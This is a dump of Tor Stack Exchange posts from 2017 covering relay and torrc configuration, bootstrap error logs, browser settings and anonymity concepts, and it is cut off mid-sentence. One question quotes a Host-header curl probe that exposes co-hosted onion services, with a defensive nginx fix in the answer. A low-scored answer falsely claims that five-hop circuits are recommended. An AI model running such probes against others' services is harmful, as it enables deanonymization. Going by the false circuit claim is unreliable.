  <row Id="15548" PostTypeId="2" ParentId="15388" CreationDate="2017-08-20T22:24:22.047" Score="1" Body="&lt;p&gt;If you can redirect the internet traffic through orbot because your app let you do it, yes, you would practically use tor as a firewall (for that app obviously) &lt;/p&gt;&#xA;" OwnerUserId="18828" LastActivityDate="2017-08-20T22:24:22.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15549" PostTypeId="2" ParentId="6521" CreationDate="2017-08-21T02:51:59.723" Score="1" Body="&lt;p&gt;Okay, I have been working on this for a number of hours since I wanted a Tor Relay my self. I downloaded the Expert Bundle just as Hikari did then I copied the sample torrc file from &lt;a href=&quot;https://gitweb.torproject.org/tor.git/plain/src/config/torrc.sample.in&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitweb.torproject.org/tor.git/plain/src/config/torrc.sample.in&lt;/a&gt;. I then began to edit the torrc file with what I wanted to use. I noted that it looked at C:\user\Your User Folder\AppData\Roaming\tor\ for the torrc file along with other files. After getting an error that stated &quot;...Address already in use [WSAEADDRINUSE ]. Is Tor already running?&quot; I Googled it and found that it might be a good idea to it as ORPort 443 NoListen ORPort 127.0.0.1:9001 NoAdvertise instead of just ORPort 443 or ORPort my IP Address:443. I also found that you need to use DataDirectory C:\path\Data\Tor GeoIPFile C:\path\Tor\geoip GeoIPv6File C:\path\Tor\geoip6 as this will kill the warnings for both geoip and geoip6 files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My torrc is as follows minus my Nickname ContactInfo:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;DataDirectory C:\path\Data\Tor&#xA;GeoIPFile C:\path\Data\Tor\geoip&#xA;GeoIPv6File C:\path\Data\Tor\geoip6&#xA;ORPort 443 NoListen&#xA;ORPort 127.0.0.1:9001 NoAdvertise&#xA;ExitPolicy reject *:* # no exits allowed&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then use C:\path\Tor\tor.exe --defaults-torrc C:\path\Data\Tor\torrc in command line and it seems to load.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To see all the command line options you can go to &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/docs/tor-manual.html.en&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully this helps.&lt;/p&gt;&#xA;" OwnerUserId="18830" LastEditorUserId="18830" LastEditDate="2017-08-21T03:33:23.050" LastActivityDate="2017-08-21T03:33:23.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15551" PostTypeId="1" CreationDate="2017-08-21T06:27:02.557" Score="0" ViewCount="794" Body="&lt;p&gt;Using &quot;medium&quot; security setting in Tor browser, slows login to protonmail.&#xA;Notification bar opens with &quot;A web page is slowing down your browser, What would you like to do?&#xA;Choices: &quot;Stop It&quot; or &quot;Wait&quot;.&#xA;Clicking wait, just brings bar back in few seconds...annoying!&#xA;So, How to remove/disable this helpful annoyance?&lt;/p&gt;&#xA;" OwnerUserId="18833" LastActivityDate="2022-03-29T18:04:15.453" Title="How to disable/remove browser notification?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15555" PostTypeId="2" ParentId="15551" CreationDate="2017-08-22T01:50:41.163" Score="0" Body="&lt;p&gt;Protonmail, and many other sites, make heavy use of javascript, higher security levels disable &lt;a href=&quot;https://en.wikipedia.org/wiki/Just-in-time_compilation&quot; rel=&quot;nofollow noreferrer&quot;&gt;JIT&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disabling JIT has a measureable impact on javascripts performance, as such the Protonmail tab appears to be locking-up and so Tor Browser is prompting you to decide if you want to wait for it fo finish processing or stop it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only solution would be to set the security slider to Low while using Protonmail to allow it to use JIT and take advantage of the improved javascript performance.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-08-22T01:50:41.163" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15557" PostTypeId="1" CreationDate="2017-08-22T13:48:21.550" Score="1" ViewCount="304" Body="&lt;p&gt;I tried to change the torrc file (on the Windows 8.1) but when I want to launch Tor I get this screen below. I want to use Stem library so I wrote this text in torrc:&#xA;&lt;code&gt;HashedControlPassword ***&#xA;SocksPort 9150 IPv6Traffic PreferIPv6 KeepAliveIsolateSOCKSAuth&#xA;ControlPort 9151&#xA;CookieAuthentication 1&lt;/code&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/98o6X.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/98o6X.jpg&quot; alt=&quot;torrc editing failure&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18846" LastEditorUserId="18662" LastEditDate="2017-08-30T13:52:54.603" LastActivityDate="2017-08-30T13:52:54.603" Title="Failed to edit torrc file" Tags="|configuration|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15559" PostTypeId="1" CreationDate="2017-08-22T18:26:51.950" Score="0" ViewCount="121" Body="&lt;p&gt;When Atlas told me that my Tor node was running an &quot;Outdated Tor version&quot; I upgraded Tor on my node (Ubuntu 14.04 LTS, Trusty) system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Atlas now tells me that my platform is &quot;Tor 0.3.0.10 on Linux&quot; (as I expected) but it is still saying 5 hours later that it is an &quot;Outdated Tor version&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have I missed something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: I note a message from Roger Dingledine on the tor-relays mailing list that suggests that this might be an issue with only one (on 5 August) of the three dir auth servers recommending 0.3.0.10. However it is now 22 August and they should all be updated.&lt;/p&gt;&#xA;" OwnerUserId="3607" LastEditorUserId="3607" LastEditDate="2017-08-22T19:09:25.883" LastActivityDate="2017-08-28T19:55:24.390" Title="Tor upgraded to 0.3.0.10 on Ubuntu 14.04 LTS but Atlas still says &quot;Outdated Tor version&quot;" Tags="|ubuntu|tor-install|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15560" PostTypeId="1" CreationDate="2017-08-22T20:20:58.753" Score="0" ViewCount="173" Body="&lt;p&gt;I read a article that describes the caracteristics of anonymous communication protocols.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of their is the synchronization. A protocoles can be asynchronous or synchronous.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the definitions on the paper:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A connection is asynchronous if the establish-&#xA;  ment of connections and relaying of messages is&#xA;  initiated by a user without any timing coordination&#xA;  with other participants.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Connections are synchronous if they begin and&#xA;  end at specific timings and messages are also re-&#xA;  layed at specific moments in time, based on some&#xA;  timing coordination between network entities.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Authors claims that TOR is asynchronous but I don't understand why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TOR is a anonymous network for application in real time like browsing or IRC.It can not be asynchronous for this reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless I misunderstood the definition of asynchronous?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The article is available &lt;a href=&quot;https://arxiv.org/abs/1608.05538&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18159" LastActivityDate="2019-08-14T14:03:00.327" Title="Why TOR is considered like asynchronous?" Tags="|anonymity|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15564" PostTypeId="1" CreationDate="2017-08-23T14:15:29.477" Score="2" ViewCount="17147" Body="&lt;p&gt;This is a very small problem, but annoying.  I can't find an option so that when you open Tor, it comes up full screen rather than at about 90% of the full screen.  I usually just click the full screen icon at the top right of the page, but still...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any response would be appreciated!  I have a feeling that if I can locate the option for this (if available), it will lead to other options as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ANSWER: On Windows, just right-click on Tor browser icon -&gt; Properties -&gt; Run -&gt; Maximized. DONE. &lt;/p&gt;&#xA;" OwnerUserId="18839" LastEditorUserId="18684" LastEditDate="2019-10-08T23:44:26.923" LastActivityDate="2019-10-08T23:44:26.923" Title="How to Start Tor in Full Screen" Tags="|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="15566" PostTypeId="2" ParentId="15564" CreationDate="2017-08-23T21:50:45.540" Score="3" Body="&lt;p&gt;Tor Browser intentionally doesn't start in full screen mode and will resist attempts to make it do so because it harms user anonymity to allow it to happen. I do not expect that there is an easy or supported way to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since sites can measure screen size, this can be used to split anonymity sets and so Tor opens itself up at a size based on a granular scale to hide the users screensize from the sites they're visiting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Making Tor Browser in full screen will remove this protection and allow sites to more easily track your Tor Browser between different sessions (and link it to some unchangable aspect of your hardware, I.E. your screensize).&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-08-23T21:50:45.540" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15568" PostTypeId="2" ParentId="15560" CreationDate="2017-08-23T22:19:40.183" Score="1" Body="&lt;p&gt;Some anonymity networks send messages on in &lt;em&gt;&quot;lock-step&quot;&lt;/em&gt; (they follow a predetermined schedule and exchange messages at the same time), especially high latency anonymity networks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this way, Tor is &quot;asynchronous&quot;. Clients can send cells at any time and the relay sends them on as they're received, not on a predetermined schedule.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of this Tor is a low-latency anonymity network, which is exactly why it can be used for HTTP or IRC or XMPP and isn't only useful messaging like email.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-08-23T22:19:40.183" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15570" PostTypeId="1" CreationDate="2017-08-24T04:20:58.950" Score="1" ViewCount="421" Body="&lt;p&gt;8/24/2017 9:43:56 AM.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;8/24/2017 9:43:56 AM.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;8/24/2017 9:43:56 AM.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;8/24/2017 9:43:56 AM.400 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;8/24/2017 9:43:56 AM.400 [NOTICE] Renaming old configuration file to &quot;C:\Users\zero\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\torrc.orig.2&quot; &#xA;8/24/2017 9:43:56 AM.700 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;8/24/2017 9:43:57 AM.800 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;8/24/2017 9:45:28 AM.400 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (Connection refused [WSAECONNREFUSED ]; CONNECTREFUSED; count 10; recommendation warn; host ABCB4965F1FEE193602B50A365425105C889D3F8 at 192.34.63.137:443) &#xA;8/24/2017 9:45:28 AM.400 [WARN] 9 connections have failed: &#xA;8/24/2017 9:45:28 AM.400 [WARN]  5 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;8/24/2017 9:45:28 AM.400 [WARN]  4 connections died in state connect()ing with SSL state (No SSL object) &#xA;8/24/2017 9:45:45 AM.500 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;8/24/2017 9:45:45 AM.500 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;8/24/2017 9:45:45 AM.500 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;8/24/2017 9:45:45 AM.500 [NOTICE] Delaying directory fetches: DisableNetwork is set. &lt;/p&gt;&#xA;" OwnerUserId="18870" LastActivityDate="2017-08-24T04:20:58.950" Title="I can't connect tor browser. Please Help me" Tags="|configuration|network-configuration|vpn|" AnswerCount="0" CommentCount="1" ClosedDate="2017-08-30T13:53:17.047" ContentLicense="CC BY-SA 3.0" />
  <row Id="15571" PostTypeId="1" CreationDate="2017-08-24T07:11:53.693" Score="1" ViewCount="35" Body="&lt;p&gt;The problem is the same with the following url:&#xA;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/48090/how-to-solve-blockchain-20-address-gap-limit-problem&quot;&gt;https://bitcoin.stackexchange.com/questions/48090/how-to-solve-blockchain-20-address-gap-limit-problem&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;that's to say,if no money was send to the address and happend more than 20 times, no new address would be generated by blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The guy point out one solution: send money to some address already exists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, where could I find the exists address? wallet?(I only find 2 )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any other good suggestion if you are add btc payment in one website?&lt;/p&gt;&#xA;" OwnerUserId="18718" LastActivityDate="2017-08-24T07:11:53.693" Title="20 gaps problem when using blockchain'receive API" Tags="|java|" AnswerCount="0" CommentCount="2" ClosedDate="2017-08-25T12:14:48.250" ContentLicense="CC BY-SA 3.0" />
  <row Id="15573" PostTypeId="1" CreationDate="2017-08-24T15:44:35.047" Score="3" ViewCount="2686" Body="&lt;p&gt;I'm attempting to setup Tor for use behind a Windows 7 firewall, I have set the firewall to block all outgoing traffic except those with a rule and configured it at first allow traffic for the following exe files.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&quot;Tor Browser\Browser\TorBrowser\Tor\tor.exe&quot;&lt;/li&gt;&#xA;&lt;li&gt;&quot;Tor Browser\Browser\firefox.exe&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But that didn't work so I made Inbound/Outbound allow rules for EVERY exe file I could find in the Tor folder and any subfolder and still no go. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the error I get when attempting to connect to Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xAVgC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xAVgC.png&quot; alt=&quot;Screenshot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a copy of the log&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;8/24/2017 10:40:11 AM.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;8/24/2017 10:40:11 AM.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;8/24/2017 10:40:11 AM.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;8/24/2017 10:40:11 AM.300 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;8/24/2017 10:40:11 AM.700 [NOTICE] Bootstrapped 80%: Connecting to the Tor network &#xA;8/24/2017 10:40:20 AM.700 [WARN] Problem bootstrapping. Stuck at 80%: Connecting to the Tor network. (Permission denied [WSAEACCES ]; RESOURCELIMIT; count 10; recommendation warn; host F4263275CF54A6836EE7BD527B1328836A6F06E1 at 37.187.102.108:443) &#xA;8/24/2017 10:40:22 AM.400 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;8/24/2017 10:40:22 AM.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;8/24/2017 10:40:22 AM.400 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;8/24/2017 10:40:22 AM.400 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18876" LastActivityDate="2022-03-18T21:02:30.433" Title="Windows Firewall Config" Tags="|windows|firewall|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15574" PostTypeId="1" CreationDate="2017-08-24T17:10:45.680" Score="1" ViewCount="203" Body="&lt;p&gt;On a few sites I visit using Tor, there are (apparently harmless) third-party scripts collecting user activity information for marketing purposes. These scripts are seriously slowing down the page load, and I'd like to block them from even having a chance to start loading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AdBlock Plus would have been the solution, except the warnings about installing third-party extensions in Tor have me too concerned to do so. Is there a safe, &lt;em&gt;flexible&lt;/em&gt; way to block certain resources on the page when loaded?&lt;/p&gt;&#xA;" OwnerUserId="18877" LastActivityDate="2017-08-24T17:10:45.680" Title="How to block scripts loading from certain domains?" Tags="|configuration|noscript|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15577" PostTypeId="1" CreationDate="2017-08-26T05:29:15.160" Score="1" ViewCount="1582" Body="&lt;p&gt;I know that the default Tor proxy service listens on localhost:9050. I want to connect to this tor service from a remote machine over the internet. I am using port 9100. I edited the torrc file like this:-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SocksListenAddress (Server's internal IP address here)&#xA;SocksPort Server's Internal IP: 9100&#xA;SocksPolicy accept *&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After this step, the tor proxy service will run on LAN.&#xA;Now how do i access this tor proxy from a remote machine over WAN? Is it as easy as a port forward?(which maps the internal IP to the external WAN interface). Or is there any torrc configuration for it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any method to add authentication for this proxy so that only authorized users can access it?&lt;/p&gt;&#xA;" OwnerUserId="13538" LastActivityDate="2017-11-25T00:44:11.527" Title="How to run Tor proxy service on WAN?" Tags="|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15579" PostTypeId="2" ParentId="103" CreationDate="2017-08-26T18:34:59.883" Score="-4" Body="&lt;p&gt;Actually the answer is yes you can. The only downfall is your tor network slows down. But the upside is the security and anonymity is enhanced greatly. Don't believe the ones who say if you use beyond three it gets worse for you. That is not true at all. If you truly understand technology then you understand that if 3 bodes is hard to track then more than three is harder. One reason this is true is the 4th node and beyond will not know the up of the second node and so on. If you have a 5th node it will not know the 1st 2nd and 3rd node. And this is so on the more nodes you add . And to make it more difficult you need to customize your exit node, it should be picked in places where data retention does not apply. Ex Sweden, Netherlands, Bulgaria. Search for them.  Also know that laws can change so you should keep up with which nation does and doesn't have data retention laws. Cheers and yes I did read all the tor documents. I also can't believe what you guys wrote about it make tor less secure. The recommended length of tor nodes is 5 . &lt;/p&gt;&#xA;" OwnerUserId="18904" LastActivityDate="2017-08-26T18:34:59.883" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15580" PostTypeId="2" ParentId="15577" CreationDate="2017-08-26T22:41:27.097" Score="1" Body="&lt;p&gt;You don't need the &lt;code&gt;SocksListenAddress&lt;/code&gt; anymore, it's deprecated, you just need &lt;code&gt;SocksPort 1.2.3.4:9100&lt;/code&gt; (where &lt;code&gt;1.2.3.4&lt;/code&gt; is it's WAN IP) and the &lt;code&gt;SocksPolicy&lt;/code&gt; isn't doing anything either, as the manual states: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Any address not matched by some entry in the policy is accepted.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You cannot add authentication. Tor's SocksPort does accept authentication but it accepts all logins as valid and uses it as a circuit isolation mechanism. &lt;code&gt;SocksPolicy&lt;/code&gt; would allow you to restrict which IP addresses are allowed to access the &lt;code&gt;SocksPort&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for how to use it, you need to get whatever client application you have that supports SOCKS to use &lt;code&gt;1.2.3.4:9100&lt;/code&gt; as it's SOCKS proxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;N.B.&lt;/strong&gt; Since SOCKS provides no cryptographic protection, all Tor traffic will traverse the WAN in plaintext. Anyone who can see WAN traffic can see exactly what Tor is being used for.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-08-26T22:41:27.097" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15582" PostTypeId="1" AcceptedAnswerId="15583" CreationDate="2017-08-27T08:26:04.483" Score="2" ViewCount="474" Body="&lt;p&gt;How do I protect against this vulnerability? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://mascherari.press/dark-web-diaries-hostname-hacking/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://mascherari.press/dark-web-diaries-hostname-hacking/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; torify curl -H 'Host: localhost' http://myonionaddress.onion&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It reveals another onion hosted on my server. I'm using nginx in Debian/whonix.&lt;/p&gt;&#xA;" OwnerUserId="18910" LastActivityDate="2017-08-27T13:39:17.977" Title="Hostname Hacking" Tags="|configuration|onion-services|deanonymization|whonix|server|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15583" PostTypeId="2" ParentId="15582" CreationDate="2017-08-27T13:39:17.977" Score="0" Body="&lt;p&gt;A simple method, for &lt;code&gt;nginx&lt;/code&gt; at least, is to just set the onion services to listen on different addresses in your server stanzas, and likewise configure your torrc to also do that&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;server {&#xA;    servername _; #Default/catch-all server, stock &quot;nginx&quot; index.html&#xA;    listen 80;&#xA;    #... Config Crap Here ...&#xA;}&#xA;&#xA;server {&#xA;    servername oniona.onion;&#xA;    listen 127.0.0.2;&#xA;    #... Config Crap Here ...&#xA;}&#xA;&#xA;server {&#xA;    servername onionb.onion;&#xA;    listen 127.0.0.3;&#xA;    #... Config Crap Here ...&#xA;}&#xA;&#xA;#... Repeat as required ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And edit your &lt;code&gt;torrc&lt;/code&gt; to reflect this, e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /var/lib/tor/oniona&#xA;HiddenServicePort 80 127.0.0.2:80&#xA;HiddenServiceDir /var/lib/tor/onionb&#xA;HiddenServicePort 80 127.0.0.3:80&#xA;# Repeat as required&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-08-27T13:39:17.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15584" PostTypeId="1" CreationDate="2017-08-27T15:24:03.227" Score="1" ViewCount="91" Body="&lt;p&gt;&lt;a href=&quot;http://www.kkkkkkkkkk63ava6.onion/wiki/Forcing_.onion_on_Whonix.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.kkkkkkkkkk63ava6.onion/wiki/Forcing_.onion_on_Whonix.org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also &quot;Idea 2&quot; in this post: &lt;a href=&quot;https://blog.torproject.org/blog/cooking-onions-names-your-onions&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.torproject.org/blog/cooking-onions-names-your-onions&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This function of httpseverywhere no longer seems to work. When I navigate to whonix.org, the browser takes me to whonix.org -- not www.kkkkkkkkkk63ava6.onion as instructed by the xml. This has been true since about v7.0.2/3. I'm using TBB v7.0.4 currently in Debian with no custom/additional modifications to the browser. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone try replicating and/or possibly report it to the TBB/Httpseverywhere devs? I wouldn't even know where to properly report something like this -- other than here.&lt;/p&gt;&#xA;" OwnerUserId="18912" LastActivityDate="2017-08-27T15:24:03.227" Title="HTTPSEverywhere bug? (forcing onions)" Tags="|tor-browser-bundle|configuration|onion-services|https|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15586" PostTypeId="1" CreationDate="2017-08-28T02:05:53.360" Score="0" ViewCount="396" Body="&lt;p&gt;Will running Tor help defend against a ddos attack on my router?  Will Tor help hide my IP address and keep me online during a ddos attack?&lt;/p&gt;&#xA;" OwnerUserId="18915" LastActivityDate="2019-08-21T04:04:25.337" Title="Ddos attack on router" Tags="|security|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15587" PostTypeId="2" ParentId="15586" CreationDate="2017-08-28T11:11:19.540" Score="0" Body="&lt;p&gt;The router will keep the same external IP then the answer is no.&#xA;The solution would be to change the gateway adress to a WAN in 4G for example.&lt;/p&gt;&#xA;" OwnerUserId="18918" LastActivityDate="2017-08-28T11:11:19.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15590" PostTypeId="2" ParentId="15559" CreationDate="2017-08-28T19:55:24.390" Score="1" Body="&lt;p&gt;Very frustrating. I updated to Tor 0.3.0.8 on Linux....and Atlas classifies this relay as &quot;Outdated Tor version&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Surely this can be fixed?&lt;/p&gt;&#xA;" OwnerUserId="17226" LastActivityDate="2017-08-28T19:55:24.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15591" PostTypeId="1" CreationDate="2017-08-28T20:00:47.623" Score="1" ViewCount="147" Body="&lt;p&gt;Lightning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used this opportunity to upgrade our installation to 0.3.0.8, and I've increased our provided burst rate to 4Mb/sec. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Accordingly, how long will it be before Tor settles down to this new IP address and starts running the former level of traffic through it? Just trying to understand how all this works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fingerprint of our installation is still the same.&lt;/p&gt;&#xA;" OwnerUserId="17226" LastActivityDate="2022-04-06T23:04:05.430" Title="Our relay had some downtime due to some network repairs and changes (including an IP change)" Tags="|relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15592" PostTypeId="1" CreationDate="2017-08-28T21:09:31.023" Score="1" ViewCount="45" Body="&lt;p&gt;I am trying to use Tor Browser. I've tried to get to one or two sites. When I use the browser, it loads, then it acts like it is done. However, I am just getting empty white displays -- the websites don't resolve -- I can't see anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know why no websites would show at all?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="18921" LastActivityDate="2017-08-28T21:09:31.023" Title="Nothing shows up" Tags="|help|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15593" PostTypeId="2" ParentId="2012" CreationDate="2017-08-29T02:26:49.963" Score="1" Body="&lt;p&gt;I had this same problem. At first I thought I had to delete Chrome or Firefox, but that was not the problem. The problem was that my webroot security software was preventing tor from opening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;YOU DON'T HAVE TO DELETE YOUR WEBROOT SECURITY. Here is what you do:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Open Webroot&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click on &quot;Identity Protection&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click on &quot;Application Protection&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Find the file that has the word &quot;tor&quot; in it. For example mine says, &quot;firefox.exe in c:\users\desktop\torbrowser\browser&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then look to the right and you will see the following options: protect, allow, deny.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select &quot;allow&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This will fix this problem. Hope this helps you. &lt;/p&gt;&#xA;" OwnerUserId="18925" LastActivityDate="2017-08-29T02:26:49.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15594" PostTypeId="2" ParentId="12313" CreationDate="2017-08-29T03:47:54.653" Score="1" Body="&lt;p&gt;There is an attack called &lt;strong&gt;end-to-end confirmation attack&lt;/strong&gt;. The idea is very simple. An attack tries to get into the both ends of the communication channel. There the attacker tries to find a pattern on outgoing and incoming traffic. Amount of data generated and the timings between them are observed for this purpose.&lt;br&gt;&lt;br&gt;&#xA;Tor &lt;a href=&quot;https://www.torproject.org/docs/faq#EntryGuards&quot; rel=&quot;nofollow noreferrer&quot;&gt;website&lt;/a&gt; explains it this way:&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Suppose the attacker controls, or can observe, C relays. Suppose there is N relays total. If you select new entry and exit relays each time you use the network, the attacker will be able to correlate all traffic you send with probability around 